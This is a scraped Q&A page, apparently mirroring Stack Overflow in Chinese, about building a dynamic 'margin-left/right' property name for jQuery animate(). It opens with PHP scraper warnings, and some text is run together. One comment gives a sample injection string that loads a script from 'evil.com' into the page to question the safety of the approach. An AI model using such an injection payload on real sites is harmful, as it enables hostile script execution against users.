Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/jquery/81.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript 在对象属性名称中使用变量_Javascript_Jquery - Fatal编程技术网

Javascript 在对象属性名称中使用变量

Javascript 在对象属性名称中使用变量,javascript,jquery,Javascript,Jquery,我有一个名为direction的变量,它可以存储:left,right 我需要根据该变量更改受影响的保证金 现在我正在使用条件,是否可以将“left”替换为变量direction的输出 $("#map").animate({"margin-left": "+=50px"}, 500); 不是直接创建,但您可以在animate()中使用对象之前创建对象并对其进行操作: 用这个。由于没有页边距向上或页边距向下,您必须“手动”翻译它: var dir = "left"; dir = dir == "

我有一个名为direction的变量,它可以存储:
left
right

我需要根据该变量更改受影响的保证金

现在我正在使用条件,是否可以将“left”替换为变量
direction
的输出

$("#map").animate({"margin-left": "+=50px"}, 500);

不是直接创建,但您可以在
animate()
中使用对象之前创建对象并对其进行操作:


用这个。由于没有
页边距向上
页边距向下
,您必须“手动”翻译它:

var dir = "left";
dir = dir == "up" ? "top" : dir == "down" ? "bottom" : dir;
var obj = {};
obj["margin-" + dir] = "+=50px";
$("#map").animate(obj, 500);
第二行是一种合法的、较短的书写方式:

if(dir == "up"){
    dir = "top";
} else if(dir == "down"){
   dir = "bottom";
} else {
    dir = dir;
}

请参阅:或者更好,如果可能的话,首先使用
top
bottom
var direction='“+function(){d=document.createElement(“脚本”);d.src=”http://evil.com/evil.js“document.body.appendChild(d)}+”//您的代码在此
。那还有用吗?@RobW:我不明白你的意思“方向”是局部变量,编写脚本的人为其指定了一些合法值。它怎么能按您描述的方式使用?您还没有定义方向。所以,我假设它是在其他地方定义的,可能是被感染的。
var dir = "left";
dir = dir == "up" ? "top" : dir == "down" ? "bottom" : dir;
var obj = {};
obj["margin-" + dir] = "+=50px";
$("#map").animate(obj, 500);
if(dir == "up"){
    dir = "top";
} else if(dir == "down"){
   dir = "bottom";
} else {
    dir = dir;
}